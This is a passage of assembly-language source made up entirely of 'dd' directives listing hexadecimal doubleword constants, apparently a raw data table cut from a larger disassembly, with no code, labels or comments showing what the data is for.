		dd 0C147EE6Ch, 18E80524h, 0D2E0C800h, 91535Ah, 889A8D61h
		dd 0E3CE33EEh, 4A6FA81Fh, 230AAA80h, 5BFB949h, 2C752A0Bh
		dd 0B5B48041h, 2F0084CCh, 6F4F456Ch, 0EF4E1Ah, 0B977FB3Ch
		dd 0B2BCE307h, 0B82C3F00h, 18AC53F3h, 979C01C3h, 76703949h
		dd 74F04088h, 0F33B80BFh, 0F9C3007Ah, 1DABAFA9h, 681C5823h
		dd 3F02C938h, 0A67832D4h, 30DB1A40h, 1D1BD507h,	0A0EF769Fh
		dd 6770FFD9h, 0ED052673h, 1F0204Dh, 0EBE8D2B6h,	60626F36h
		dd 3D00DC40h, 32747B27h, 0B5722Bh, 6FED4D4Bh, 0FE6E665Fh
		dd 5591B800h, 0D84FDFC7h, 7C411870h, 0CA57110Bh, 0BA92C017h
		dd 0E6DEDC44h, 0F3C13881h, 1D5A9FCh, 0A8956EA7h, 703E3A56h
		dd 5C09BD84h, 0A1DC872Ah, 59ECD5D0h, 57DFBECh, 0F8C69BE3h
		dd 0B074C069h, 0CA05EF8Ch, 5C22240Eh, 2F166180h, 82700Fh
		dd 28086A61h, 0A5F765A6h, 48A3B00h, 5CD5EF15h, 0E461001Bh
		dd 0F1771C8Eh, 9000AAAFh, 6FD0A59Dh, 6EB7BCh, 9BD7D8BAh
		dd 0B1E30F9Eh, 8200037Dh, 4F2CD320h, 3E9CD695h,	570035A8h
		dd 0F2AF8612h, 0CD00EE64h, 0CF8BF087h, 83D80Fh,	0F8E2BF44h
		dd 373113C0h, 5B160400h, 56D458DFh, 982EC79h, 0F9DA73EBh
		dd 23C1E020h, 0EC005DD8h, 0FCD41210h, 0F6E74354h, 9CCF0050h
		dd 2F04BE38h, 8100BA55h, 1EE02CE3h, 0E8C80Dh, 7A87BB41h
		dd 0D72151F4h, 0A0721300h, 449BBFA6h, 944B4977h, 2593B900h
		dd 8DD15634h, 0DB030203h, 1F53C0F9h, 264E3620h,	11411950h
		dd 0E38AE066h, 1200A6B0h, 29A01DB7h, 0A5FACCh, 7ABA544Dh
		dd 2E930A25h, 9E5CCC9Ah, 6E5C7701h, 0D15B02A6h,	848AFA8Eh
		dd 76009C10h, 860F7A9Fh, 0DA840CA0h, 62C5B607h,	33F0CC46h
		dd 3E4991h, 0E91F70A5h,	583904B5h, 0D31B757Fh, 0C8902A20h
		dd 75BC27Bh, 9162F6D0h,	0C1C08037h, 42035247h, 1E355AB3h
		dd 0C11C0A3h, 838700F8h, 0AB5CA02Ch, 0E474BF40h, 5A008F71h
		dd 9FBB3744h, 16B5D75h,	8D6F3A8Bh, 0E4E08E97h, 8C3C67BCh
		dd 0B1333056h, 1E25DF6Bh, 80B60C3Ah, 3D408539h,	791415F1h
		dd 0A0AEA9h, 5F0B8356h,	399198B4h, 0A880F810h, 0ECCFFBD7h
		dd 251E018Eh, 0B783E6A6h, 39D1DEDh, 0EA09FF38h,	75C0E912h
		dd 0FA00F9E1h, 1173D09Fh, 189E2C17h, 89C89760h,	0BB008681h
		dd 0F66F055h, 95FE4h, 0F23D4AF4h, 0C9E3A590h, 3F53903h
		dd 0A8261241h, 6E9EEEC4h, 9E411Eh, 87755F6Eh, 0C000E507h
		dd 25451244h, 5FADAA80h, 2DF402A6h, 54488A7Ch, 9B38C22Ch
		dd 0A7D10106h, 0ED57E9DFh, 0F082A70h, 707BC97Ch, 980AA2E0h
		dd 1800410Ch, 0DBA4E2E1h, 25BF96Fh, 0B70817FDh,	0F85A9F90h
		dd 0CC3BE300h, 38EB5AEEh
		dd 58E6A5h, 0A61DC8CAh,	370D4B18h, 7003395Ah, 80FAD57Bh
		dd 95E8FBh, 7FB8EDF0h, 0B6C3A8C4h, 0A30F51C1h, 840A04Ch
		dd 29972C6h, 54C201C5h,	0D683A470h, 0B8C31975h,	9D7FB3B0h
		dd 13E23901h, 3B97C88Ah, 4E690FFh, 0EEC5008Ch, 0C1A443C6h
		dd 870EFBF1h, 479B5Dh, 0D3CBF633h, 0C2C90035h, 0BE64CC10h
		dd 19014AE5h, 7C50D78Bh, 15207508h, 0FC55F0BFh,	0D87649h
		dd 214A74E9h, 0F5F3D042h, 72C79801h, 0C6472AD1h, 0BE18F4h
		dd 0DC305AC0h, 19375312h, 26AFEA00h, 9A17F546h,	0EF6A0020h
		dd 59DAF7ACh, 661C933Fh, 1E7CBEC2h, 79402847h, 163708E3h
		dd 54E60AABh, 5504EEC6h, 6FAC00DEh, 0BB812E28h,	0E22CCAB4h
		dd 670667B7h, 28863Ah, 840A098Eh, 0EDBEE82Bh, 0BD81C300h
		dd 0DCF1E312h, 29A40067h, 0EB7F5282h, 4A808F13h, 0DD4288EAh
		dd 2E28DA8Bh, 26940D88h, 0D7F51128h, 0E1047C21h, 12028E27h
		dd 0CB02B897h, 4E025D8h, 48211F14h, 6AB7410Eh, 2A3401EEh
		dd 0DA10A812h, 0E2AB8B99h, 50A35178h, 0F11806DBh, 2F299636h
		dd 410C89E6h, 9A05FE3Ch, 4051E229h, 3C41A8B5h, 1BA4CE70h
		dd 0CFC600E8h, 24B7710Ch, 75023600h, 65D147EEh,	68E4D4h
		dd 0D5349B94h, 0E40B5379h, 38AD2803h, 0B0C1EAFAh, 0C00243h
		dd 0DA1A5DCDh, 96264CF0h, 0BA3E6C00h, 5F7A74CCh, 56B8A3h
		dd 761530F7h, 0AC514BFEh, 2C4C4D00h, 70037C8Eh,	89D3E82h
		dd 0CA169800h, 0E646E5CDh, 0C47DCB00h, 6F3F340Bh, 68AC0084h
		dd 4D860911h, 3707963Dh, 0CE1AD67Ch, 40F5EB32h,	9F1C08h
		dd 7983A7CBh, 0DC6DBCA5h, 39CD743Ch, 0F6488045h, 0B57A3AADh
		dd 85A000BAh, 697D063Fh, 53002692h, 6A434544h, 0C660C2h
		dd 75862BCDh, 0C1B735A4h, 27735F00h, 3B96F236h,	0E0A33922h
		dd 0CE0E9Eh, 0A8F7AFDFh, 0E548E14Ah, 88A47E60h,	5A0A4200h
		dd 24B42FE8h, 41EE00F3h, 0D64DA1AEh, 2A00E69Bh,	3B3C34D7h
		dd 0B731F5h, 0C5AE3382h, 0E9916338h, 7D711800h,	1A56607Ch
		dd 4BC9003Eh, 89D1A7A6h, 8F1E53CDh, 0B2A83CA4h,	470A3900h
		dd 0ABB15B92h, 3DC0005Fh, 2FC46827h, 38E6FC62h,	0AC950300h
		dd 3286395Bh, 2425002Bh, 8DCF2E01h, 53000715h, 69D34EC1h
		dd 54F63BEh, 88FDEA1Ch,	0BDE3C02Eh, 0FEB05649h,	30052FAh
		dd 1CC1A8B7h, 9E6CBBh, 27584A0Bh, 50F3335Dh, 758A1200h
		dd 0A7817FF9h, 0C91A07B5h, 6B697A9Bh, 9C126502h, 83A0DC80h
		dd 7C00D21Dh, 2DC2273Fh, 0ECD44A4h, 0C0AF5F11h,	4B5CC160h
		dd 54050607h, 7E6D78A8h, 0EF34C300h, 0F7841208h, 0DD48D8h
		dd 51BDAF4Ah, 371DFB3Ah, 711F8F00h, 0A8A1DF0Ah,	0E6F479D1h
		dd 86001F0h, 9410B816h,	571922Ch, 0AB352020h, 4C4E0E5Ch
		dd 0B2A2F4h, 0CFE4B779h, 2A5B1F87h, 0D20FA0F8h,	0FDA04ED8h
		dd 209DC7E9h, 72A63Ch, 0DD2C1002h, 4CC68B3Eh, 7D00687Ch
		dd 33E571F4h, 0B7488FC5h, 20CF1710h, 0EC046B05h, 41AFE881h
		dd 7859ECh, 0B8D711FEh,	0C7D3E440h, 36005F70h, 72534BCEh
		dd 142B9D45h, 0F4F35798h, 0C8422C03h, 8BE0311Ch, 41000EEDh
		dd 0CAD7DFE4h, 185249Bh, 0E521615Ah, 0C8053AA6h, 0DF014635h
		dd 0EFE1AE06h, 0C07B4382h, 661F0308h, 9DB1BC07h, 90107CE5h
		dd 3CEC2D36h, 7F8B3565h, 0F500C232h, 77FBD6D4h,	34E60A0Ah
		dd 5D0F99AEh, 0C46B20CEh, 0CD8309h, 81E18AF8h, 58F47318h
		dd 0C01D1100h, 54690B6Ah, 9ECE0B3Eh, 0A08049CAh, 0EF2A6C82h
		dd 0C435E600h, 6DC2B82Eh, 7F26008Eh, 47F1F459h,	0C600AC93h
		dd 91FE7D50h, 3DAEABCh,	289EDB3Dh, 0E7A85644h, 0BA07465Fh
		dd 67694E37h, 688FD2E0h, 0B5180055h, 7194644Fh,	8300A83Ah
		dd 45E633F4h, 0A0524DE4h, 44ECDA4h, 57046AA5h, 0BB14D285h
		dd 8E768B60h, 0D8B7B400h, 0AD09205Fh, 486B071Ah, 80885BC2h
		dd 45EA40CDh, 68BB1801h, 8D3AFCD2h, 63AE70h, 0E3ECFA1h
		dd 29C9B204h, 0D8EFA03Bh, 5D010412h, 1680EC0Ah,	3E1D39F2h
		dd 5C001984h, 1E08A4B2h, 0CC983BF5h, 0F01312F8h, 3040C85Fh
		dd 0CC5EF6EEh, 261A02C0h, 553AA733h, 8B94B881h,	25A43032h
		dd 0C2A80800h, 0CE0D7485h, 0B0E459E6h, 61746C24h, 0C44CEA0Fh
		dd 0AD00C472h, 9DB88CB6h, 0D733DAh, 1D5939D2h, 6038DDA9h
		dd 0FA1ECCB2h, 8870EA15h, 727E02Bh, 4FE79310h, 0A1C41024h
		dd 940086EEh, 2D928CC1h, 2547B5h, 0DF59E15Dh, 295C1990h
		dd 97756A03h, 0C8091D81h, 0E65016h, 98658594h, 8A44830Bh
		dd 0FDD47600h, 73325D82h, 0FF2A4870h, 0D096000h, 59C9BA9Bh
		dd 47755A00h, 1DF3BC3Ch, 1F8D00E0h, 6B45B283h, 0B2B009A5h
		dd 0D8739103h, 0A8256FB1h, 0CAA271h, 0AEDD9437h, 0D6E28898h
		dd 0C5865B03h, 0A01922EEh, 0CDCD41Eh, 3644EF75h, 9B007766h
		dd 8B679C9Ah, 36E79h, 0D299BB60h, 0A0F8179Eh, 0C646B107h
		dd 1F41218Fh, 0A7CC2361h, 1A872C94h, 0EE110094h, 7974AAC4h
		dd 5F9F7200h, 3F08E88Bh, 8F150943h, 0F800BDA5h,	0C6DC20D8h
		dd 0ED974703h, 0E8DFCB04h, 1AEF825h, 0DB313AAFh, 0C070D060h
		dd 700046Ch, 6569965h, 96F477h,	11185FD3h, 2A2FAD10h, 0D2810200h
		dd 0A9E4F5D4h, 1C280FBAh, 0EDC0A74Fh, 8F8B1466h, 0D2CA4806h
		dd 0FC21D044h, 18CE0107h, 16B64A2Eh, 101980E9h,	0D5C7438Ah
		dd 996B0046h, 137BEA86h, 4D3B5CE5h, 0A100FB96h,	0F8E1BFE6h
		dd 386E9h, 0EDD9F265h, 0B7D1B0FAh, 0C6797000h, 39AE7182h
		dd 0B6830043h, 0B12EB874h, 0BE0FECD5h, 405D4CA4h, 0DF8DF25h
		dd 818097Bh, 1087286Eh,	481F60C5h, 8107FD93h, 0A4A8BD75h
		dd 9CA37050h, 9CDFE9Bh,	5E8CA1FAh, 0EFAA8400h, 69009490h
		dd 166FF46Bh, 11EA80Ah,	0E2CAF72Ch, 314EBD5Fh, 6414D410h
		dd 61986E04h, 0CCC0AA73h, 0A2319105h, 0B0D449FFh, 0B2063DCh
		dd 0A2FD1353h, 0D9697080h, 600043DDh, 14EDE1Bh,	3C72DB54h
		dd 0CE803307h, 0C3CF29ECh, 0BD0CAEE7h, 70D7F30Fh, 1EE600D4h
		dd 6066CBB8h, 2A004575h, 0AC077864h, 73FFFBAh, 0BBD107Fh
		dd 0C12C80A8h, 6400977Eh, 1D727BD1h, 0EA4D3CCBh, 1FA300FEh
		dd 0DA4C6CD8h, 0B3E304Ah, 6157825Fh, 0C40CE278h, 2C70B0F0h
		dd 42F05E1Dh, 560FAA7h,	9E0F2F54h, 260E810Ah, 4C28394Fh
		dd 500075ABh, 8242F7D0h, 0A003DFBh, 0FF51B11Fh,	0C936857Dh
		dd 8A808E28h, 0EBE30764h, 52204B6Eh, 0E1689A0Eh, 0F0D578D0h
		dd 5C0EF840h, 0A64100FDh, 4CC06DE8h, 2107F557h,	17139A2Ch
		dd 0A812DFC0h, 3F640CB9h, 0C110B33Dh, 73E6EB14h, 0DAF28080h
		dd 0DC6B6h, 6A1F6F32h, 0EF73122h, 0D3762600h, 0CB921BE7h
		dd 65271FEBh, 2C0A80CFh, 9FA58A1h, 4122130Eh, 0BF812EC5h
		dd 2C0D4DDh, 1CAB6112h,	71722E54h, 8AB40094h, 0B674083h
		dd 0CC10B000h, 0ED5FAEE2h, 99260737h, 20DFA4BFh, 0E3FB4E40h
		dd 3A50C40Fh, 8E820796h, 0F3905DD7h, 6B8F3Dh, 558017B2h
		dd 0D2371E6Dh, 0C107677Bh, 0FB952F21h, 616C00A9h, 50D44146h
		dd 3D42D925h, 560FDC30h, 0BA4001ECh, 75EF03E8h,	3F00E67Ch
		dd 160C1451h, 7AFDDD20h, 0AD390073h, 0A2F83AC2h, 2412B642h
		dd 3400EFE8h, 5510917Bh, 7AE45Eh, 0A80F9816h, 0F3FE8AEBh
		dd 7AAE4126h, 0C11E611Ch, 0E7BE3880h, 37D3774h,	780B79F5h
		dd 0FF056DFh, 3F1D04E1h, 66C01DBAh, 7E715A45h, 0E3982C70h
		dd 640BBA4Ch, 340083D2h, 0C079A9F5h, 6A746200h,	0FE825630h
		dd 109700C1h
		dd 0F4516175h, 0CF007F42h, 0BE09331Fh, 9ACCDC9h, 97A4FE4Fh
		dd 8C93AC40h, 99020700h, 0BBA9926Ch, 86B00017h,	4A54C813h
		dd 6A7E2CD4h, 350084EAh, 82E846A2h, 7320BB32h, 0F3DF1E98h
		dd 80375E2Eh, 0C4A3B935h, 3800E5EBh, 1E655484h,	0DDFDD1h
		dd 3C5B0A7Dh, 73B69E62h, 318BBC03h, 0F7384D9Bh,	0D9D24AB0h
		dd 4FA00108h, 0C6FD5971h, 5BE0D207h, 6E0191F3h,	0CF3BC281h
		dd 0C7E890EBh, 61CB092Eh, 89803998h, 5E1049C0h,	869D2700h
		dd 5D2CA3F8h, 0C26F012Eh, 0EA2D3EACh, 189C408Dh, 9A2CA5FDh
		dd 492855h, 0EDEA020Ch,	0D23A0012h, 7EC384B2h, 3300B41Dh
		dd 95854C4Fh, 0B573B39h, 280AEA5Eh, 0B2BE4080h,	0B9009032h
		dd 1F1DFAD4h, 2EBBF7h, 0CA3C60Ah, 47B29E02h, 0EC358h, 10424C9Ch
		dd 3E6E260h, 17DD70AAh,	9480079Bh, 50B0BCA8h, 0A7A62000h
		dd 669036A1h, 8CAE4C18h, 2F8E2C00h, 53841C83h, 0F6484C0Fh
		dd 61C740F1h, 5FCEEDh, 3A163301h, 0B35E6FF7h, 29E8A200h
		dd 0E7871D13h, 8E24079Ch, 81A748CAh, 0ECB1FCA8h, 5000EBE1h
		dd 0CB8A0D5Eh, 0FBE40Bh, 0A18FB743h, 28535592h,	0FEF1E800h
		dd 7D1BDFEBh, 5B501FA9h, 0CE5E03C9h, 0A21D79C7h, 3B80B917h
		dd 2AC2981Ch, 0B75800E9h, 904CAA0Dh, 0AC0A6C69h, 0C080A8EEh
		dd 0E83CD800h, 80FDAh, 6C0661D0h, 2DAA458Ch, 8F4D5200h
		dd 3F02C4E6h, 80DB5CF4h, 0D5C69600h, 0A1977BF9h, 874AA900h
		dd 0F702A4CCh, 80551472h, 0CD4CC0D1h, 0DF01383Ch, 0CAE0BC7Ch
		dd 6D1860DDh, 0C6ED7A03h, 0D894D646h, 0F4E29Dh,	0B381618Fh
		dd 0C241B536h, 0C6005890h, 1E2565B8h, 83DF66h, 0E18093DBh
		dd 0FB1A75B2h, 647B782Eh, 510CAE00h, 0F66839h, 62501381h
		dd 188466EFh, 0EEBD1F0Ah, 3A3BBD4Dh, 0B45C8CBh,	923C70h
		dd 83EAE121h, 0A4D001EBh, 0B952A5F0h, 7008E120h, 1278564h
		dd 787007F2h, 0E98B2770h, 8D5F0EABh, 57E02892h,	841F66BDh
		dd 12DAC209h, 0B028608Eh, 0E809CDBh, 7A03633h, 3D524F1Fh
		dd 7C00C87Eh, 0F06B9AE5h, 0BC49BA3h, 2E534BE7h,	4CE6CCA0h
		dd 0DF50D916h, 81C1D182h, 7F66F96h, 0B02CDEC8h,	0A53A044Dh
		dd 0B0D31CFEh, 0CF138F50h, 960BA03Bh, 606D0F68h, 3E190E1Dh
		dd 52043932h, 21A6A800h, 71450BBCh, 25B02402h, 0E87D1FF5h
		dd 7F8A3D4h, 941BDCD0h,	0AC26E09Bh, 400D647h, 3897EF57h
		dd 72CAAAA5h, 0F83E0098h, 13426F8Ch, 0FC00C4BDh, 28B1A732h
		dd 2651C64h, 0E948BAAFh, 0D740EC2Eh, 0EDE8E141h, 0DE307100h
		dd 6E3EFACFh, 9C82003Dh, 0E24AB7A9h, 981CAF02h,	28CAD883h
		dd 9E008887h, 58494C3Ch, 0A2B112A6h, 0F62B00C0h, 0CCD77B34h
		dd 0D2ADE00h, 0FCE84F17h, 138D00C5h, 4DBC22ACh,	33007B92h
		dd 0E0B4C0E6h, 14D305E2h, 0F0092850h, 8231F500h, 6A04D8AAh
		dd 6E7D0B00h, 0CFE8DC19h, 1BD6026Ch, 0B24F143Ch, 1960FC42h
		dd 0CA7C7718h, 938BF800h, 16A73BF0h, 70C9038Fh,	0BC081FE3h
		dd 0A8C41A80h, 0E285ED02h, 87F180F9h, 8943D896h, 7FDE901Ch
		dd 0F609AC2h, 3BC0FD10h, 855450C0h, 0D97CA76Fh,	4F9D05Ch
		dd 0F9705341h, 71820C90h, 9DE3000Ah, 0B34F7CACh, 472C30A5h
		dd 55074849h, 0D4305DB0h, 579A4B8h, 274B33A6h, 7AA44093h
		dd 0ECB72D1Eh, 881C0475h, 5240419Ch, 9742CE8Fh,	0E27207BFh
		dd 40B7FB69h, 1FA6E9B1h, 593F79B0h, 49A7936Fh, 272A3040h
		dd 92AFAC9Fh, 0F5D90894h, 80BEED5Ch, 126C3F5Dh,	1D579E8h
		dd 0A08F1780h, 0D83BEB39h, 6A0208D1h, 0BF4871E0h, 91A840B8h
		dd 0B314008Eh, 81BBDE95h, 7E319770h, 8FF0D852h,	0B434E921h
		dd 32670CA4h, 0D738F138h, 6381DC09h, 0B9F860FEh, 68570014h
		dd 6782F0AAh, 9C287A3Dh, 0FB04E042h, 0F5BEA73Ch, 8ADD28E1h
		dd 413A9C4h, 0F217BD26h, 0F1AC9060h, 181C8788h,	0D0C05578h
		dd 403C69A7h, 0DDEF00B8h, 0F293C88Fh, 0B301D474h, 2D337F32h
		dd 37F9BCCEh, 0BB78F4h,	47AD810Bh, 49CBD61Bh, 0DA667D06h
		dd 0C8226Fh, 54CAC4E1h,	0C28A61A7h, 0E85D6000h,	0B07F13D5h
		dd 791C093Ah, 0E300F572h, 8B96D1BEh, 5DA89500h,	8A5BF37Eh
		dd 0BA440322h, 36BF2374h, 70EC68E9h, 1100FB80h,	0B6667188h
		dd 25445Fh, 81AAE7C1h, 98DA86FCh, 843C207Bh, 0CA0BF716h
		dd 3AADF2h, 6D2230DBh, 0DE240BB7h, 50807282h, 761425ECh
		dd 188EE109h, 0EEE04023h, 39C9C90Eh, 0F22CF090h, 8767BB00h
		dd 6354E4EBh, 2D933A96h, 22A54C81h, 0EDB59C0Bh,	30C3ED04h
		dd 0F87FA44Ch, 0CDBF8D1Ah, 5AD6C0FCh, 0FA3E0069h, 87D7ED5Bh
		dd 0C7002C3Dh, 22262472h, 9EDD8Eh, 8346FA7Ch, 1490962Ah
		dd 6AC32004h, 5EC0D85Ch, 0D458C6h, 0A047B3B0h, 0E281FE5Eh
		dd 62796E00h, 0CF42616h, 0A9E11457h, 879CC05h, 2187912Ch
		dd 0FDF14D07h, 0B97A001Bh, 6F946Dh, 0EE8B1A85h,	95920ED7h
		dd 9C3CA600h, 0F2060381h, 0F3D00156h, 0B08F80F0h, 0E8DEE561h
		dd 31C27C1h, 0E8D4FA7Fh, 0B60706CCh, 302249Bh, 0FE3B67C4h
		dd 0EC808B7Dh, 8D001BA7h, 94FF1C97h, 16E82260h,	7CD0276h
		dd 0F0AC7D20h, 4C7E3474h, 0FE7C0100h, 3E245B14h, 3977004Bh
		dd 252CB5Dh, 277731B4h,	72F76F2Eh, 0C0EC2F09h, 99391880h
		dd 7FD200DCh, 27F4771Dh, 83CDBA00h, 1F17BB9h, 0F8D900E7h
		dd 0E08631EBh, 8E00F99Ah, 3976D7F3h, 0B8460Bh, 23A70916h
		dd 75CB7F5Ch, 1D3A6B3Ah, 0D600741Fh, 0AC0B60D4h, 0D11904B4h
		dd 0C06B460Ah, 42351340h, 0D8215230h, 0B56E3h, 58A4530Eh
		dd 0A33D2331h, 4EE76C07h, 7CA0F4C7h, 7F69E1h, 4DFD72A0h
		dd 906A095Eh, 0C6BB1817h, 61048080h, 0A96E1DA1h, 9A72C022h
		dd 0D6311F77h, 1C2C5A5Dh, 7AC3C596h, 0D8EFAF29h, 0A1FE5940h
		dd 107254B4h, 33211E00h, 6D9BEEF6h, 4C3E48h, 0B7A2D493h
		dd 0A3C609h, 0DEEA7860h, 0BD913936h, 83529409h,	0FFD4870Eh
		dd 4097C3D0h, 0F0AC12D1h, 0B66D0004h, 0DAA3795Ah, 0CC6ADF00h
		dd 1FEB06C1h, 6EC0005Bh, 0FE7591C3h, 0F8E70960h, 9007C7EAh
		dd 4ED48192h, 98F8ED80h, 59A00019h, 0DA9CBB6Bh,	0E501F77Dh
		dd 1E0D23A8h, 1062A250h, 0DDAA0302h, 4A11FD70h,	12C824h
		dd 0B920B645h, 52F33393h, 74708D60h, 166F979h, 0E47A35C8h
		dd 8043ADD7h, 5A4A9358h, 78B09753h, 0E1521309h,	76C0007Fh
		dd 0F0555E61h, 0CA531F17h, 543C6C40h, 2862F4Bh,	0E10F14DCh
		dd 0B463ACE9h, 0CC3903C8h, 710ECA00h, 229620E8h, 29694889h
		dd 0A554FD00h, 73DB67F1h, 8C09147Dh, 619A7FBFh,	0B7CCF5D0h
		dd 69E66019h, 88E154AAh, 18009F5Fh, 6E25BDA4h, 6C4A06B0h
		dd 28EFE670h, 0CF310507h, 0DD081F4h, 5F3666h, 87E1C142h
		dd 532AC015h, 8AC9E800h, 0BFD38E0Bh, 9F489885h,	490157C0h
		dd 8300F698h, 6C4BFE57h, 1A1B0B6h, 0F008CF0Bh, 0D9E53DE4h
		dd 0EC11DC13h, 0AF98CC00h, 5D0159D4h, 45BB0002h, 0ACD95FB2h
		dd 0C8A18BCBh, 75F5F452h, 0DA8DC100h, 0A25DBBFh, 0D6D03A2Ch
		dd 0C692F100h, 2EEE41A8h, 0C1E99A03h, 9947C80Fh, 2C24C5A0h
		dd 91700075h, 847A985Eh, 0B8B01DB4h, 0C5D4103h,	0E8AB3BEDh
		dd 4F33B7h, 4EFAADA4h, 72F7F3E1h, 0D8AF7000h, 0C776F054h
		dd 8E6801CDh, 0AA9D91F2h, 0FDA4D463h, 0C2A3C102h, 60790C4Ch
		dd 3B75F9F8h, 1A04EA9Eh, 80999DE5h, 0B50FAA40h,	96620318h
		dd 126610h, 3D477F10h, 4E2DDDA9h, 770998B6h, 56B8602Fh
		dd 0C15AA2h
		dd 7EE8C324h, 970990EFh, 5A1043h, 521D18C4h, 0E47D58C1h
		dd 0DAEAD203h, 3190A8F2h, 133AF874h, 2153842Fh,	0F4C12BDDh
		dd 0C4300F32h, 0FD3A1E7Ch, 0E8C88038h, 17A524Bh, 0E2D64Ch
		dd 1B491075h, 1446D2Bh,	0F3F9BB91h, 206BD9FEh, 0F400CDB7h
		dd 0DA9D1DCEh, 64FF9Ah,	51E43029h, 8EA432Ch, 2F388400h
		dd 359A7A1Ch, 19E7041h,	824E1118h, 78EE6DA1h, 210B004Ch
		dd 43D1B4DFh, 1DA30ECFh, 0F1A08BAEh, 40B6B972h,	117F5000h
		dd 342E6C91h, 985900C6h, 0CA672825h, 17757655h,	0EE37AC00h
		dd 9289272Dh, 0F30B8B6h, 77FA5ACEh, 4E355F22h, 1B011C60h
		dd 0A500B0B8h, 5DFFC27Ch, 3BF355FDh, 5689CEDCh,	982045BAh
		dd 3CEB734Ah, 0E953003h, 0EAAA375Bh, 2B60E268h,	0C96003C8h
		dd 70DCEAC3h, 76880074h, 3C5C89D9h, 791D940Ah, 0C10087FFh
		dd 25C347AAh, 72F0067h,	68A619CFh, 9C00E7B6h, 7122F9EAh
		dd 39C5F2h, 7874CEB7h, 0AB8A001h, 0F5823Bh, 2A3DE3A7h
		dd 1746140Ch, 0C0248473h, 42712C28h, 0F147FF00h, 0BD95B2A6h
		dd 304B07Ch, 2A15FA8Ch,	0F6E36F87h, 4E3A84B0h, 0DCAE4700h
		dd 166B74DFh, 1F701DEBh, 0CA2C4302h, 0AD88D476h, 6503F45Eh
		dd 5BFB7151h, 0FA0F7E7h, 2A5CC1h, 2DB7F6C0h, 0DFE2063Dh
		dd 0ABBFF901h, 0CED32457h, 26C62C64h, 16C01F6h,	3A74098h
		dd 3E5ECC6Bh, 804D8538h, 0B0C4683h, 77C91B07h, 8CD138F4h
		dd 4C9B8F80h, 0D51D050h, 11313318h, 4D6F3620h, 0E61D08D2h
		dd 5D228007h, 0D9433FBFh, 5F0070DFh, 0AFA3367h,	249902FFh
		dd 37405B60h, 368310A0h, 10E2AFAh, 0EF2079Ah, 0B43839Dh
		dd 18B9F66Dh, 69583B6Fh, 16007A09h, 19F1E062h, 0C33D14BEh
		dd 22CA07E0h, 38C0DFC2h, 3604E002h, 3F0C09F3h, 0A3C02A80h
		dd 0F793346Ah, 0C15F8048h, 22E0DA75h, 0B156100h, 1667ECF8h
		dd 491E00B1h, 5B5D21F5h, 700F2DBBh, 79174h, 32C52EC7h
		dd 36DC1479h, 0EB01643Ah, 6557C0DBh, 7C202815h,	0BA98FF7Ch
		dd 0C4E1C60Fh, 0BF52A0A2h, 97A18Bh, 23B66D04h, 442C873Bh
		dd 0B85FE600h, 0E7D2C58Eh, 36F81C4Fh, 85CD00A6h, 37550B96h
		dd 94667900h, 1E8308D9h, 1823989Ah, 7032E140h, 3EF8C8E8h
		dd 66C5A00h, 2A9D4568h,	7AB00F2h, 3C70A7AAh, 0FEE07B24h
		dd 439AF400h, 0C349083Ah, 0D12E0326h, 593F424Ah, 6458F2D0h
		dd 0B6002C90h, 41DDCF83h, 0AE1AC8h, 0D63F7ED2h,	3ACE47Ch
		dd 81620D00h, 0F0842DA4h, 855000CDh, 5394953Ah,	6E000BB1h
		dd 75F64333h, 3DEEC89Bh, 1C87DAA0h, 53D04AB8h, 0ADA8A148h
		dd 7B00AEC9h, 0A018605Ch, 1C583E0h, 4C04378h, 0F9961AFAh
		dd 0DD9B4069h, 0EB1F20A0h, 0F2C0DE30h, 0C2F9724Eh, 0EFA60078h
		dd 7193D89h, 0A503BBD3h, 74159060h, 0BA61E05Fh,	0B6D7AABh
		dd 0E1D9E2D1h, 0C7B987h, 0C6D3DC14h, 54AD9A18h,	0E17D11h
		dd 0B9D13042h, 7E248645h, 175E2B00h, 19616A79h,	483549D9h
		dd 7004538h, 5AB4FA49h,	0DC014427h, 0DA053C83h,	86E0D372h
		dd 0F820956Eh, 0D0AC1878h, 0CA9C8000h, 5EC2D6D1h, 475B0E89h
		dd 1CC49Eh, 0F8AD1D94h,	0B200887Bh, 873DB01Fh, 777AD837h
		dd 59503EABh, 0EADE7F8Eh, 0D0F60013h, 730A966Dh, 35919E00h
		dd 4693450h, 0F8533CE6h, 0B609C28Bh, 0D7FD7480h, 9F00B89Dh
		dd 0E1848EE0h, 3001DB2Ah, 0AB88F22Bh, 38020C93h, 6AA919ECh
		dd 9EEDC08Fh, 0D14900BEh, 45E34386h, 0F6019D2Bh, 0C8BCECAEh
		dd 0ADF092E1h, 71370056h, 9ACFC910h, 41000C05h,	0A2D73665h
		dd 6DD369h, 20E72939h, 93725915h, 57D93000h, 0C2AEE0E6h
		dd 9BE80FF1h, 0BD80A651h, 0BE881D7Ah, 8EF5AF00h, 3ED65EC6h
		dd 0DB200047h, 74A68FD0h, 0B00FF2Eh, 12EF0611h,	13F91DDCh
		dd 4C0E0D5Ch, 2DE93B1Ch, 0F0740500h, 0DC45109Ah, 0A274CFFh
		dd 20E1187Ah, 1660E43Fh, 4D46110Eh, 0BFDCE0A4h,	92D7C5h
		dd 1B0A3EBDh, 0F401DA07h, 0E1C02700h, 0A375AE93h, 827F005Eh
		dd 29C9F2B7h, 0B81C92D8h, 15C0C879h, 7B255224h,	14C09A46h
		dd 9059435Dh, 0AD7E0073h, 2BB28D75h, 0A8036DB1h, 1347D8B0h
		dd 0D22DD0A4h, 5BB40763h, 0B0FDD374h, 60533EC6h, 1C582479h
		dd 83F639F2h, 7ABBABD5h, 0E6100028h, 8A532BDCh,	0B50007BAh
		dd 63781D58h, 0F1CC8A9h, 82173A5Fh, 61F9031Ch, 0F01F15FEh
		dd 40F0B951h, 1A4472Ch,	1FFB53E5h, 2585E6F7h, 5D7C4A8h
		dd 0CC7AD207h, 0E9610459h, 17CC063Fh, 2E7516B7h, 88042023h
		dd 0C0160E44h, 0E70721EDh, 7FD04518h, 5DFC1DCh,	9B7EB59Ah
		dd 2B87AA93h, 0D4466AD0h, 5C880078h, 0AC910AA5h, 2800E41Dh
		dd 4F189C4Bh, 0C49812h,	0F93F93A0h, 75D59456h, 8C4EF602h
		dd 602765E9h, 34830B6h,	0F8BD839Ah, 0E7C8B3ABh,	9005A21h
		dd 450F9542h, 7C61ADh, 9881D340h, 2F6E2803h, 3E19FA07h
		dd 283CC7F4h, 31251E06h, 77B30026h, 0E2CF4AC0h,	0ECE5800h
		dd 7F7E5D99h, 408A3904h, 8E0D9D02h, 0E440F54Fh,	2E0078A9h
